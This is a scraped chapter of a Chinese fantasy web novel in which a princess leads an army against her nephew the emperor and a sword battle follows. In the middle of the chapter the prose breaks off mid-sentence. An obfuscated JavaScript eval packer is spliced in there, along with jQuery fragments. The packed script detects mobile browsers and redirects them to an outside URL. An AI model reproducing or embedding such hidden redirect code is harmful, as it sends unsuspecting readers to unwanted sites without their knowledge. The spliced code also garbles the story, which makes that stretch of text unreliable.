默认冷灰
24号文字
方正启体

21. 铁马冰河入梦来

作者:伏惟乾坤本书字数:K更新时间:
    鸿门宴散后,长公主府的灯亮了一夜。


    姜未玉靠在软榻上,手指轻轻敲着榻沿。她已经换了那身华贵的宫装,穿了一件玄黑色的劲装,袖口束紧,腰间系着革带,长发用一根玉簪挽起,露出修长的脖颈和线条分明的锁骨。


    凌香跪在一旁,大气都不敢出。


    万蛟站在殿中央,玄甲在身,腰悬长刀。他的手臂上缠着新换的白布——姜亦那一剑,划得不深,但足够让他记住。


    “万蛟。”姜未玉开口,声音慵懒,像在说一件无关紧要的事。


    “末将在。”


    “你那里,准备好了吗?”


    万蛟单膝跪地,声音低沉:“随时待命。”


    姜未玉笑了。


    那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。


    但她的眼底没有笑意,只有一种冷到骨子里的决绝。


    “做事,要么不做,要么就做绝。”


    她从榻上坐起来,赤着脚踩在地上,一步一步走到窗边。月光从窗户漏进来,落在那张保养得宜的脸上,照出眼角几道极细的纹路。


    “那个九五至尊的位置,本宫也坐得。”


    她转过身,看着殿内跪着的两个人。万蛟低着头,林庸跪在他身后。


    “亦儿,别怪姑姑。”


    姜未玉的声音忽然轻了,轻得像是在说给自己听。


    “姑姑就是这样的人啊。”


    林庸膝行上前,额头触地:“老臣愿为殿下效犬马之劳。”


    姜未玉低头看着他,看了很久。然后她走回榻边,重新靠下,闭上眼睛。


    “下去吧。”


    “是。”


    万蛟站起来,转身走出殿外。


    林庸跟在他身后。


    殿内只剩下姜未玉一个人。


    她靠在榻上,手指又开始敲榻沿,一下,一下。


    窗外的月光照进来,落在那张美艳的脸上。她闭着眼睛,不知道在想什么。


    翌日。


    天还没亮透,姣姣就被一阵急促的敲门声惊醒了。


    不是奕秋那种不轻不重的三下,是那种要把门拆了的拍法。


    “砰、砰、砰——”


    姣姣从床上弹起来,头发乱成鸟窝,眼睛还没睁开,人已经冲到门口,一把拉开门。


    赵守成站在门口。


    他今天穿了甲胄。


    玄铁重甲,肩吞兽首,胸护明光,腰间悬着那柄跟随他二十年的长刀。


    甲胄上有几道新旧不一的划痕,最深的那道在左肩,是十二年前留下的。


    他的脸上没有笑,没有寒暄,没有那句“丫头又没睡醒”。他的眼睛很亮,像淬了火的刀锋。


    “陛下,”他开口,声音沙哑,“长公主动手了。”


    姣姣的睡意瞬间散了。


    她回头看,奕秋已经站在窗边,白衣已经穿戴整齐,无尘剑挂在腰间。


    她的脸上没什么表情,但她的手,已经按上了剑柄。


    姜亦和闻人奚郁从隔壁房间出来。


    姜亦今天穿了那件深青色的劲装,左耳的麒麟坠在晨光里晃了晃。


    他的脸上没什么表情,但他的手指,一直在碰耳坠。


    闻人奚郁跟在后面,折扇收在手里,脸上没有笑。


    四人下楼。


    大堂里,老板娘已经躲到后院去了,几个住店的客人缩在角落里,脸色发白。


    大门敞开着,街上的行人比平时少了大半,偶尔有几个匆匆跑过的,都低着头,不敢往城外的方向看。


    赵守成站在门口,背挺得笔直。


    “城外,三万大军。”他的声音很稳,但每一个字都很重,“长公主亲自领军,万蛟为前锋,相国林庸随行。还有一个南水来的年轻人,就是昨晚在相国府那个。”


    “释玺。”


    姣姣说。


    赵守成点头。“还有三个妖兽。”他顿了顿,“周财说,长公主豢养了三头尊界一重的妖兽,一直藏在城外的别庄里。”


    “还有几头不知道境界的…”


    “说是,今日要召唤出来。”


    大堂里安静了一瞬。


    姣姣眨眨眼:“尊界一重的妖兽?三头?”


    “是。”


    姣姣啧了一声。


    “这阵仗,可真不小。”


    姜亦站在窗边,看着城外方向。他的手指按在剑柄上,按得很紧。


    “兵力对比呢?”闻人奚郁问。


    赵守成沉默了一瞬。


    “城北大营,一万兵马。李将军带了一队人马,已经埋伏在城里。末将在城门外埋伏了三千人。”他顿了顿,“加上守城的兵,勉强能凑到两万。”


    “两万对三万。”


    闻人奚郁说。


    “是。”


    大堂里又安静了。


    姣姣忽然笑了。


    她伸了个懒腰,骨头噼啪响,然后走到桌边,给自己倒了杯茶,一饮而尽。


    “兵来将挡,水来土掩。”


    她把茶杯放下,拍了拍手。


    “走,上去看看。”


    城墙上,风很大。


    姣姣站在垛口后面,往下看。


    黑压压一片。


    三万大军列阵城外,铠甲在晨光下泛着冷冷的光。


    旌旗猎猎,上面绣着长公主府的徽记。


    一只展翅的金凤,爪下攥着一柄长剑。


    最前面是骑兵,铁甲覆面,长枪如林。后面是步兵,盾牌连成一道铁墙。再后面是弓弩手,箭矢已经搭上弦,箭头在日光下闪着寒光。


    军阵中央,两顶轿子一前一后。


    前面那顶是深红色的,四面垂着金线绣的帘子,看不清里面。


    轿子旁边站着一个人。


    万蛟。


    他骑在马上,玄甲在身,长刀横于鞍侧,目光如鹰。


    后面那顶轿子是青灰色的,小一些,帘子也没那么讲究。林庸坐在里面,他的脸从帘子缝隙里露出来,面色平静。


    万蛟身后,跟着一个人。


    释玺。


    他今天换了一身劲装,玄色的,袖口束得很紧。那条麻花辫还是编得好好的,银色的发带在风里轻轻飘。


    他骑在马上,姿态放松,嘴角噙着笑,像是在春游。


    他的目光在城墙上扫了一圈,最后落在某处,停了一瞬。


    姣姣正趴在垛口后面往下看。


    她今天收拾得很利索。


    高马尾扎得紧紧的,发尾用一根红绳系住,利落又精神。


    红色短裙,里面是一条黑色的短裤,露出一截大腿,大腿和小腿的肌肉线条很清晰,一看就是常年打架练出来的。


    腰间挂满了香囊,银铃也戴上了,风一吹就叮当响。


    她往那儿一站,不像要去打仗,倒像要去赶集。


    释玺的目光在她身上停了一瞬,嘴角的笑意深了一些。


    姣姣没看见。


    她在数人头。


    “三万。”


    她啧了一声。


    “还真不少。”


    姜亦站在她旁边,目光落在军阵中央那顶深红色的轿子上。


    他的脸上没什么表情,但他的手指,一直在碰耳坠。


    奕秋站在他身后,白衣在风里翻飞,无尘剑挂在腰间,剑鞘上的纹路在日光下若隐若现。她的目光落在万蛟身上,停了一瞬,然后移开。


    闻人奚郁……不见了。


    姣姣扭头找了一圈,没找到。


    “闻人奚郁呢?”


    姜亦没回头。


    “不用管他。他死不了。”


    姣姣眨眨眼,没再问。


    李渊从城墙另一侧走过来。


    他今天穿了甲胄,玄铁重甲,肩吞兽首,腰间悬着一柄长刀。他的脸上没有表情,但他的眼睛很亮。


    “陛下,”他单膝跪地,“末将已带兵埋伏在城中。只等令下。”


    姜亦点头。


    “起来。”


    李渊站起来,站到姜亦身侧。


    他的目光落在城外的军阵上,落在万蛟身上,落在那顶深红色的轿子上。


    他的手握在刀柄上,握得很紧。


    赵守成不在城墙上。他已经带着三千人,埋伏在城门外。


    陈夫子站在城墙的另一侧,穿着那件灰袍,膝盖上搭着一条薄毯。他的脸上没有恐惧,只有一种很深的疲惫。


    姣姣走过去,把薄毯往上拉了拉。“陈夫子,您在这儿看着就行。别下去。”


    陈夫子看着她,忽然笑了。


    “姑娘,你也要上战场?”


    姣姣咧嘴一笑。


    “那当然。不然我来干嘛?”


    陈夫子沉默了一瞬。“小心。”


    姣姣拍拍他的肩膀,转身走回垛口。


    城外,军阵中央,那顶深红色的轿子帘子掀开了。


    姜未玉走了出来。


    她今天穿了劲装。玄黑色的,袖口束紧,腰间系着革带,长发用一根玉簪挽起,露出一张保养得宜的脸。


    她的眼睛很冷,冷得像淬了毒的刀锋。


    她抬起头,看着城墙上的姜亦。


    姜亦也看着她。


    两个人对视了一瞬。


    姜未玉笑了。


    那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。


    “亦儿。”她开口,声音不大,但清清楚楚地传到城墙上,“姑姑来杀你了。”


    姜亦的手指碰了碰耳坠,然后放下。


    然后姜亦开口了。


    他的声音很平静,平静得像在说一件跟自己无关的事。“姑姑,十四年前,你也是这样跟我父亲说的吗?”


    姜未玉的笑容僵了一瞬。


    就那么一瞬。


    然后她笑了。


    那笑容比刚才更深,但眼底的冷意也更重了。


    “亦儿,”她说,“你长大了。”


    她转身,走回轿子。


    帘子放下来。


    万蛟拔刀。


    刀身在日光下一闪,三万大军齐声呐喊。


    “杀——!!”


    姜未玉的声音从轿子里传出来,冷冷的,没有一丝温度。


    箭矢如雨。


    第一波箭雨遮天蔽日,呼啸着砸向城墙。姣姣一把拽住陈夫子的后领,把他拖进城墙后面的石室里。


    “您在这儿待着!”她喊了一声,转身冲出去。


    箭矢钉在城墙上,钉在垛口上,钉在石板上。有几支擦着她的肩膀飞过去,她连躲都没躲。


    她跑到垛口边,往下看。


    城外已经杀成一团。


    赵守成的人从城门外杀出来,三千铁甲从两侧包抄,把长公主的前锋拦腰截断。


    李渊带着人从城门里冲出去,一刀劈翻一个骑兵,翻身骑上马,朝万蛟的方向杀去。


    两万对三万。


    铁甲对铁甲。


    刀对刀。


    万蛟一个人站在军阵中央,身边围着二十几个士兵。


    他一刀横扫,刀光过处,五六个人应声倒地。又一刀,又是五六个。


    二十几个人,瞬间全倒下了。


    释玺骑在马上,手里捏着一把药粉,随手一撒。他身边的士兵猛地捂住喉咙,脸色发紫,口吐鲜血,一个接一个地倒下去。


    他连看都没看他们一眼。


    他在看城墙上的姣姣。


    姜亦飞身而起,一剑横扫,围住他的二十几个士兵被剑风掀飞出去,摔在地上,再也爬不起来。


    他落在地上,朝姜未玉的轿子冲去。


    李渊带着人从城门冲出,一刀劈翻一个骑兵,又一刀,又劈翻一个。


    他的刀法没有花哨,每一刀都是杀招,每一刀都带着十四年的恨。


    城门开了又关。


    与此同时,赵守成的人从城外杀进来,两股铁流撞在一起,铠甲碰撞的声音、刀剑相交的声音、惨叫声、呐喊声,混成一片。


    两种颜色的铠甲混在一起,分不清谁是谁。地上到处都是血,到处都是尸体。


    姣姣站在城墙上,看着这一幕。


    她看见奕秋从她身边冲了出去。


    不是走,是飞。


    白衣在风里翻飞,无尘剑还没出鞘。


    她冲向军阵中央那顶青灰色的轿子——林庸的轿子。


    五十几个士兵挡在她面前,盾牌连成一道墙,长枪从盾牌的缝隙里刺出来。


    奕秋没有停。


    她抬手,食指与中指并拢,轻轻点在虚空中。


    “开。”


    就一个字。


    那五十几个士兵,连同他们的盾牌、长枪、铠甲,被一股无形的力量弹开,像被一只看不见的巨手扫开的蚂蚁。


    人仰马翻,惨叫声此起彼伏。


    奕秋落在地上,继续往前走。


    她身边有一圈无形的屏障,那些士兵根本近不了她的身。有几个不怕死的冲上来,刀还没举起来,就被弹飞了。


    然后,一剑刺入林庸的轿子。


    林庸当场毙命。


    奕秋刚刚收剑。


    姜未玉就从轿子里飞了出来。


    她的速度快得惊人,姣姣只看见一道白影。然后剑光炸开——姜未玉的剑,直刺奕秋面门。


    奕秋抬手起卦,一道无形的屏障挡在她面前。


    “咔嚓——”


    屏障碎了。


    姜未玉的剑穿过碎裂的屏障,直刺奕秋心口。


    奕秋举剑格挡,剑身相撞,火星四溅。她被震退了十几步,脚在地上犁出两道深深的沟壑。


    但她并不狼狈,甚至落地的瞬间,顺手一剑,身边的五个士兵应声倒地。


    然后她站住了。


    白衣上溅了几滴血,不是她的。


    姜未玉落在她对面,持剑而立。玄黑色的劲装上没有一丝褶皱,发簪歪了一点,但她伸手扶正了。


    “东夷卦修,”她笑了,“有点意思。”


    奕秋没有说话。


    她只是站在那里,剑尖指着姜未玉。


    姣姣在城墙上看着这一幕,骂了一声。


    她从城墙上一跃而下。


    五道四重的内力灌注全身,她落地的瞬间,膝盖微曲,卸掉冲击力,然后站起来,拍拍衣摆上的灰。


    她身边的士兵愣了一下,然后举刀冲上来。


    姣姣没动。


    她只是从腰间摸出两把粉末,左手一把,右手一把,往两边一撒。


    “噗——”


    冲上来的十几个人同时捂住脸,惨叫出声,刀扔了一地。


    姣姣拍了拍手,一拳砸在一个人脸上,那人横飞出去。


    一脚踹在一个人胸口,那人捂着胸口跪了下去。


    又一拳砸在一个人腹部,那人弯下腰,被姣姣一把抓住后领。


    “呃啊——!”


    那人整个人被她掀飞出去,砸翻了后面冲上来的三个人。


    她像一颗红色的石子,砸进黑压压的军阵里,砸出一个缺口。


    一拳一个,一脚一个,一把毒粉放倒一片。


    她的动作又快又狠,没有花哨,每一招都是杀招。


    那些士兵根本近不了她的身,偶尔有几个冲上来的,还没举刀就被她撂倒了。


    身旁的姜亦一剑重创万蛟,剑尖划过万蛟的臂甲,在铁片上留下一道深深的裂痕。


    万蛟闷哼一声,从马上摔下来,砸在地上,扬起一阵灰尘。


    姜亦收剑,落在姣姣身边。


    姣姣一拳打飞一个士兵,扭头冲姜亦咧嘴一笑:“姜大侠,厉害啊!”


    姜亦没说话,一剑震退三个冲上来的士兵,嘴角微微扬起。


    释玺在马上看着这一幕,笑了。


    他策马朝姣姣冲过来,右手提着剑,马蹄踏过地上的尸体,溅起一片血泥。


    姣姣看见他,脸垮了。


    “我靠!你怎么这么阴!”


    她来不及躲,从地上捡起一把剑,横在身前。


    释玺的剑劈下来,姣姣举剑格挡。


    “铛——!”


    火星四溅。


    姣姣被震退三步,虎口发麻。


    她甩了甩手,骂了一声,然后提剑冲上去。


    释玺从马上跳下来,迎上来。


    两人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437485|200983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在军阵中央打了起来。


    释玺的剑法和他的人一样,轻、灵、快,每一剑都带着一种漫不经心的从容。


    姣姣的剑法不一样,她的剑没有章法,每一招都不在套路里,但每一招都恰到好处。


    姣姣感受到了这个人的剑法。


    很熟悉。


    打着打着,释玺忽然愣了一下。


    因为她的剑法——他见过。


    在南水,在一个他很小的时候见过的人那里。


    就这一下。


    姣姣的剑已经到了。


    一剑掀飞他手里的剑,剑尖抵在他喉咙前三寸。


    释玺愣愣地看着她。


    姣姣喘着粗气,但手很稳。


    “姑娘,”


    释玺忽然笑了。


    姣姣以为他要放什么狠话。


    结果下一秒——


    “要不要和我谈个婚约?”


    姣姣瞪大眼睛。


    “你神经病吧!我靠!”


    释玺笑得更开了。


    “姣姣,你真的只是近尊?”


    “你看不出来吗?我的气息。”


    “也许你故意隐藏。”


    “你话怎么这么多!”


    姣姣收了剑,从腰间摸出一把毒粉,往身后一甩。


    万蛟刚从地上爬起来,还没站稳,就被糊了一脸毒粉。


    “噗——”


    万蛟闷哼一声,又趴下了。


    释玺看着这一幕,笑出了声。


    *


    城外密林里。


    闻人奚郁走在林间小道上,淡紫色的玄衣在树影间若隐若现,长发披散着,被风轻轻吹动。


    他的折扇收在手里,步伐不紧不慢,像是在散步。


    他找到周不弃的时候,周不弃被关在一间破庙里。


    两个看守站在门口,都是五道一重的高手。他们看见闻人奚郁走过来,愣了一下。


    “你谁——?”


    话没说完,闻人奚郁的折扇已经敲在他后颈上。


    那人眼睛一翻,软倒在地。


    另一个人刚拔刀,闻人奚郁侧身避开,同时折扇一合,敲在他太阳穴上。


    那人也倒了。


    闻人奚郁推开破庙的门。


    周不弃坐在里面,手脚被铁链锁着,脸上有伤,但精神还好。


    他看见闻人奚郁,愣了一下。


    “闻人公子?”


    闻人奚郁走过去,折扇边缘在铁链上一划。


    铁链断了。


    周不弃站起来,活动了一下手腕,看着他。


    “你会武功?”


    闻人奚郁想了想。


    “不会。”


    周不弃:“……”


    闻人奚郁转身往外走。


    “走吧。你爹在等你。”


    周不弃跟上去。两人刚走出破庙,林子里传来一阵低沉的吼声。


    不是人声,是兽吼。


    闻人奚郁的脚步顿了一下。


    周不弃的脸色变了。


    “妖兽。”


    林子里走出几只妖兽。


    体型不大,但气息不弱。


    它们从树丛里钻出来,把两人围在中间,眼睛泛着幽幽的绿光。


    周不弃拔剑。


    他受伤了,但还能打。


    闻人奚郁站在他身后,折扇收在手里,没动。


    第一只妖兽扑上来。


    周不弃一剑刺穿它的喉咙,它惨叫一声,倒在地上。第二只从侧面扑来,周不弃提剑抵挡。


    这只妖兽,他挡不住!


    周不弃眼睛猛然睁大。


    但下一秒,闻人奚郁动了。


    他的折扇张开,扇骨边缘闪过一道冷光。那折扇的边缘是锋利的铁片,平时看不出来,现在露出来了。


    他侧身避开妖兽的爪子,折扇如风,扇骨末端刺向妖兽。


    很快。


    眼花缭乱。


    妖兽惨嚎着倒下去,在地上翻滚了几圈,不动了。


    周不弃看着他,愣了一瞬。


    闻人奚郁把折扇收起来,拍了拍衣摆上的灰,脸上没什么表情。“走。”


    两人继续往林子外面走。


    又走出半里地,前面传来一声低沉的咆哮。


    那声音比之前任何一只都大,震得树叶都在抖。一只体型巨大的妖兽从林子里走出来,浑身漆黑,眼睛血红,气息——


    闻人奚郁的手按上了折扇。


    周不弃握紧了剑。


    妖兽扑上来——


    *


    城门外,军阵中央。


    姜未玉和奕秋还在打。


    姜未玉的剑越来越快,越来越凌厉。她的剑法不像万蛟那样霸道,也不像释玺那样轻灵,她的剑法有一种说不清的东西——像是阵,像是符,又像是纯粹的剑。


    奕秋在退。


    不是她想退,是被逼退。


    姜未玉的境界比她高两重,她的言出法随对她不起作用,只能用以虚化实的低阶卦术进行格挡。


    她挡了十七剑,第十八剑擦着她的肩膀掠过,白衣被撕开一道口子,血珠渗出来。


    第十九剑刺向她的咽喉。


    她侧身躲开,剑尖擦着脖子过去,留下一道浅浅的血痕。


    第二十剑,她没能完全躲开。剑锋划过她的手臂,衣袖被撕开,血涌出来。


    姜亦看见了。


    他一剑震退身边的士兵,飞身而起,落在奕秋身边。


    “你受伤了。”他说。


    奕秋没说话,只是看了他一眼。她的手臂在流血,但她的眼神很稳。


    姜未玉看着他们,笑了。


    “亦儿,你也来了?正好。”


    她一剑刺来。


    姜亦举剑格挡,剑身相撞,火星四溅。


    奕秋从侧面刺出一剑。


    姜未玉侧身避开,同时左手结印——


    一道符印在她掌心亮起。


    “轰——!”


    姜亦和奕秋同时被震退。姜未玉落在他们对面,持剑而立,左手掌心符印还在发光。


    她的呼吸有些乱,但她的笑容没变。


    “两个打一个,”她说,“还是打不过。”


    姣姣还在和释玺周旋。


    看见姜未玉的招数,痛骂:“阵符剑三修,你是人吗??!”


    然后一剑斩向释玺。


    释玺的麻花辫随着动作飘起,只见他笑着道:“姑娘,只看我就够咯。”


    然后他又是一剑,刺向姣姣。


    姜未玉起阵了。


    脚下的地面亮起一圈圈符文,细密的、发着蓝光的符文,把姜亦和奕秋困在中间。姜亦的雷法被压制,奕秋的卦术被压制。


    两人同时闷哼一声。


    姜未玉站在阵法中央,持剑而立,玄黑色的劲装上溅了几滴血,不是她的。她的发簪歪了,她伸手扶正。


    姜亦看着她。


    他的嘴角溢出一丝血,但他的眼神很稳。


    “姑姑,”他说,“十四年前,我父亲的死,到底跟你有没有关系?”


    姜未玉的笑容僵住了。


    不是那种被揭穿的僵,是那种——她没想到他会在这个时候问的僵。


    她看着他,看了很久。


    然后她笑了。


    那笑容很好看,眼尾上挑,嘴角微扬,带着一种与生俱来的、居高临下的从容。


    但她的眼底,有什么东西碎了。


    “有。”


    她说。声音很轻,轻得像是在说一件很久以前的事。


    姜亦的手,握紧了剑。


    他的指节泛白,手臂在发抖,但他的眼神没有变。


    “姑姑,”他说,“收手吧。”


    姜未玉看着他,看了很久。


    然后她摇了摇头。


    “亦儿,你跟你父亲一样。太像了。”


    她举起剑。


    阵法亮了。


    符文的蓝光越来越盛,压得姜亦和奕秋喘不过气来。


    姜未玉的剑尖指着姜亦,剑身上流转着符文的微光。


    “所以,你也会跟他一样。”


    她出剑了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)